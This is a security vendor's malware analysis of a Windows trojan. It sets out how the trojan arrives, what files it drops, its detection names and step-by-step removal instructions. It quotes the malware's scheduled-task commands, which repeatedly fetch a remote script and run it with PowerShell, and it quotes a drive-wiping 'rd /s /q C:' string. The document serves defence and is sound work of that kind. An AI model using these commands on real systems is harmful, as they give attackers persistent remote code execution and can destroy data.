Analysis by: Jayvee Mark Villaroman
ALIASES:

UDS:Trojan.Win32.Hesv.gcyu (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 4,955,648 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 14 Feb 2023

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Public%\tqxIxnrSieR8xOwj.zip

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • schtasks /Create /TN test /SC MINUTE /MO 15 /TR "powershell \"$r=[System.Net.WebRequest]::Create(\\"http://{BLOCKED}.{BLOCKED}.33.190/robots.txt\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f
  • schtasks /Create /TN test2 /SC MINUTE /MO 45 /TR "powershell \"$r=[System.Net.WebRequest]::Create(\\"http://{BLOCKED}.{BLOCKED}.132.91/robots.txt\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f
  • schtasks /Create /TN tqxIxnrSieR8xOwj /SC MINUTE /MO 15 /TR "explorer.exe %Public%\tqxIxnrSieR8xOwj.zip\tqxIx.exe" /f

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.260.01
FIRST VSAPI PATTERN DATE: 16 Feb 2023
VSAPI OPR PATTERN File: 18.261.00
VSAPI OPR PATTERN Date: 17 Feb 2023

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    Troj.Win32.TRX.XXPE50FFF065

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Deleting Scheduled Tasks

For Windows Vista, Windows 7, Windows Server 2008 (R2), Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2):

  1. Open the Windows Task Scheduler. To do this:
    • On Windows 7 and Windows Server 2008 (R2), click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, Windows 10 and Windows Server 2012 (R2), right-click on the lower-left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each task that has the value in the Triggers column:
    • test
    • test2
    • tqxIxnrSieR8xOwj
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the following string:
    Cmd /c /rd /s /q C:
  5. If the said string is found, delete the task..

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  %Public%\tqxIxnrSieR8xOwj.zip

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.HESV.VSNTBB23. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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